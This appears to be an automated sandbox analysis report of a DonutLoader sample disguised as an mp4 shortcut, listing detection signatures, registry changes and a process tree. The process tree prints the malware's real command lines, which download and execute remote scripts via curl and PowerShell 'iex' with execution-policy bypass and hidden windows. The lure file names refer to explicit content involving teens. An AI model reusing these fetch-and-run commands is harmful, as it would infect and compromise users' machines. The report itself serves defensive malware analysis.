donutloader | 1c7386333c0eea8eedc4aa758f57c1b20cb1832cc3193cb8b26fe5e9865f7007

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/06/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenreversecowgirlboyf.mp4.lnk
Size 697B
Sample260626-e3f1rahw6l
SHA256 1c7386333c0eea8eedc4aa758f57c1b20cb1832cc3193cb8b26fe5e9865f7007
MD5 fd90e003a2bdad99454e8d35efc7a463
SHA1 65756fd3afca862b0aa3a6dd5f115710c63d745a
SHA512 9372af9f43bcc0b93c443cb9184569ad43ce2a507e189d3a2c37f6dd3a12b3b83eab906908bc441dac62a69ced988f7097bef59c63690be569b7c006acdce557
TLSH
T16401284022EC1728D3B35A3B4C3956114A25BA45EF32DB7C57D4958CA869104AD2DF3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral7/memory/5096-119-0x0000024851C60000-0x0000024851C7A000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
18	2368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4104	powershell.exe
2208	powershell.exe
2372	powershell.exe
2368	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
19	3284	curl.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
1932	takeown.exe
3240	icacls.exe
1448	icacls.exe
4028	icacls.exe
916	icacls.exe
3780	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
2368	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1776	7z.exe
5096	node.exe
3636	PsExec.exe
1468	PSEXESVC.exe
2256	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
5096	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1448	icacls.exe
4028	icacls.exe
916	icacls.exe
3780	icacls.exe
1932	takeown.exe
3240	icacls.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3636	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1896	powercfg.exe
4160	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File opened for modification	C:\Windows\PSEXEC-RPHJNYLJ-9083590A.key	PSEXESVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-19 = "Ultimate Performance"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2660	vlc.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2368	powershell.exe
2368	powershell.exe
2368	powershell.exe
4104	powershell.exe
4104	powershell.exe
4104	powershell.exe
4104	powershell.exe
4104	powershell.exe
2208	powershell.exe
2208	powershell.exe
2372	powershell.exe
2372	powershell.exe
2372	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2660	vlc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2368	powershell.exe
Token: SeSecurityPrivilege	2368	powershell.exe
Token: SeTakeOwnershipPrivilege	2368	powershell.exe
Token: SeLoadDriverPrivilege	2368	powershell.exe
Token: SeSystemProfilePrivilege	2368	powershell.exe
Token: SeSystemtimePrivilege	2368	powershell.exe
Token: SeProfSingleProcessPrivilege	2368	powershell.exe
Token: SeIncBasePriorityPrivilege	2368	powershell.exe
Token: SeCreatePagefilePrivilege	2368	powershell.exe
Token: SeBackupPrivilege	2368	powershell.exe
Token: SeRestorePrivilege	2368	powershell.exe
Token: SeShutdownPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeSystemEnvironmentPrivilege	2368	powershell.exe
Token: SeRemoteShutdownPrivilege	2368	powershell.exe
Token: SeUndockPrivilege	2368	powershell.exe
Token: SeManageVolumePrivilege	2368	powershell.exe
Token: 33	2368	powershell.exe
Token: 34	2368	powershell.exe
Token: 35	2368	powershell.exe
Token: 36	2368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2368	powershell.exe
Token: SeSecurityPrivilege	2368	powershell.exe
Token: SeTakeOwnershipPrivilege	2368	powershell.exe
Token: SeLoadDriverPrivilege	2368	powershell.exe
Token: SeSystemProfilePrivilege	2368	powershell.exe
Token: SeSystemtimePrivilege	2368	powershell.exe
Token: SeProfSingleProcessPrivilege	2368	powershell.exe
Token: SeIncBasePriorityPrivilege	2368	powershell.exe
Token: SeCreatePagefilePrivilege	2368	powershell.exe
Token: SeBackupPrivilege	2368	powershell.exe
Token: SeRestorePrivilege	2368	powershell.exe
Token: SeShutdownPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeSystemEnvironmentPrivilege	2368	powershell.exe
Token: SeRemoteShutdownPrivilege	2368	powershell.exe
Token: SeUndockPrivilege	2368	powershell.exe
Token: SeManageVolumePrivilege	2368	powershell.exe
Token: 33	2368	powershell.exe
Token: 34	2368	powershell.exe
Token: 35	2368	powershell.exe
Token: 36	2368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2368	powershell.exe
Token: SeSecurityPrivilege	2368	powershell.exe
Token: SeTakeOwnershipPrivilege	2368	powershell.exe
Token: SeLoadDriverPrivilege	2368	powershell.exe
Token: SeSystemProfilePrivilege	2368	powershell.exe
Token: SeSystemtimePrivilege	2368	powershell.exe
Token: SeProfSingleProcessPrivilege	2368	powershell.exe
Token: SeIncBasePriorityPrivilege	2368	powershell.exe
Token: SeCreatePagefilePrivilege	2368	powershell.exe
Token: SeBackupPrivilege	2368	powershell.exe
Token: SeRestorePrivilege	2368	powershell.exe
Token: SeShutdownPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeSystemEnvironmentPrivilege	2368	powershell.exe
Token: SeRemoteShutdownPrivilege	2368	powershell.exe
Token: SeUndockPrivilege	2368	powershell.exe
Token: SeManageVolumePrivilege	2368	powershell.exe
Token: 33	2368	powershell.exe
Token: 34	2368	powershell.exe
Token: 35	2368	powershell.exe
Token: 36	2368	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe
2660	vlc.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 784 wrote to memory of 3492	784	cmd.exe	88
PID 3492 wrote to memory of 2660	3492	cmd.exe	89
PID 3492 wrote to memory of 984	3492	cmd.exe	91
PID 3492 wrote to memory of 2368	3492	cmd.exe	92
PID 2368 wrote to memory of 976	2368	powershell.exe	93
PID 2368 wrote to memory of 2148	2368	powershell.exe	94
PID 2148 wrote to memory of 2084	2148	csc.exe	95
PID 2368 wrote to memory of 1244	2368	powershell.exe	96
PID 1244 wrote to memory of 3188	1244	csc.exe	97
PID 2368 wrote to memory of 2632	2368	powershell.exe	98
PID 2632 wrote to memory of 3920	2632	csc.exe	99
PID 2368 wrote to memory of 2392	2368	powershell.exe	100
PID 2368 wrote to memory of 4000	2368	powershell.exe	101
PID 2368 wrote to memory of 3284	2368	powershell.exe	103
PID 2368 wrote to memory of 4384	2368	powershell.exe	104
PID 2368 wrote to memory of 1776	2368	powershell.exe	105
PID 2368 wrote to memory of 896	2368	powershell.exe	106
PID 2368 wrote to memory of 1932	2368	powershell.exe	107
PID 2368 wrote to memory of 4288	2368	powershell.exe	108
PID 2368 wrote to memory of 1672	2368	powershell.exe	109
PID 2368 wrote to memory of 2876	2368	powershell.exe	110
PID 2368 wrote to memory of 4528	2368	powershell.exe	111
PID 2368 wrote to memory of 2428	2368	powershell.exe	112
PID 2368 wrote to memory of 4036	2368	powershell.exe	113
PID 2368 wrote to memory of 1516	2368	powershell.exe	114
PID 2368 wrote to memory of 5096	2368	powershell.exe	115
PID 3056 wrote to memory of 4104	3056	cmd.exe	120
PID 4104 wrote to memory of 4608	4104	powershell.exe	121
PID 4608 wrote to memory of 3260	4608	csc.exe	122
PID 4104 wrote to memory of 3496	4104	powershell.exe	123
PID 4104 wrote to memory of 3636	4104	powershell.exe	124
PID 1468 wrote to memory of 2208	1468	PSEXESVC.exe	127
PID 2208 wrote to memory of 4144	2208	powershell.exe	131
PID 4144 wrote to memory of 4952	4144	csc.exe	132
PID 2208 wrote to memory of 1896	2208	powershell.exe	133
PID 2208 wrote to memory of 4160	2208	powershell.exe	134
PID 2208 wrote to memory of 3240	2208	powershell.exe	138
PID 2208 wrote to memory of 1448	2208	powershell.exe	139
PID 2208 wrote to memory of 4028	2208	powershell.exe	140
PID 2208 wrote to memory of 916	2208	powershell.exe	141
PID 2208 wrote to memory of 3780	2208	powershell.exe	142
PID 2208 wrote to memory of 1756	2208	powershell.exe	143
PID 2208 wrote to memory of 1960	2208	powershell.exe	144
PID 2208 wrote to memory of 2548	2208	powershell.exe	145
PID 2208 wrote to memory of 820	2208	powershell.exe	146
PID 2208 wrote to memory of 4152	2208	powershell.exe	147
PID 2208 wrote to memory of 976	2208	powershell.exe	148
PID 2208 wrote to memory of 220	2208	powershell.exe	150
PID 2208 wrote to memory of 2484	2208	powershell.exe	151
PID 2208 wrote to memory of 1656	2208	powershell.exe	152
PID 2208 wrote to memory of 4836	2208	powershell.exe	153
PID 2208 wrote to memory of 2372	2208	powershell.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4528	attrib.exe
2428	attrib.exe
4036	attrib.exe
1516	attrib.exe
4288	attrib.exe
1672	attrib.exe
2876	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenreversecowgirlboyf.mp4.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenreversecowgirlboyf.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Program Files\VideoLAN\VLC\vlc.exe
    "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:2660
- - C:\Windows\system32\curl.exe
    curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps1
      4⤵
      PID:976
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5dwv4eu2\5dwv4eu2.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES501F.tmp" "c:\Users\Admin\AppData\Local\Temp\5dwv4eu2\CSC8E16C9B49E684E07BEA8EBD23FB2844A.TMP"
        5⤵
        
        PID:2084
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5adgsbr3\5adgsbr3.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1244
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5138.tmp" "c:\Users\Admin\AppData\Local\Temp\5adgsbr3\CSC50F74727A93469A9B60A8441CF2BE1B.TMP"
        5⤵
        
        PID:3188
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yffnrbex\yffnrbex.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2632
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES51B5.tmp" "c:\Users\Admin\AppData\Local\Temp\yffnrbex\CSC5A7FCBA5370046B2A067CCEE8773F7E4.TMP"
        5⤵
        
        PID:3920
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:2392
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:4000
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      Downloads MZ/PE file
      PID:3284
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:4384
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1776
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://nyx8.net/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:896
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1932
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:4288
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:1672
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:2876
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:4528
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:2428
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:4036
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:1516
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5096

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lwbmclrf\lwbmclrf.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C5F.tmp" "c:\Users\Admin\AppData\Local\Temp\lwbmclrf\CSC5080FC34BFDB4FA18EF43537262E480.TMP"
      4⤵
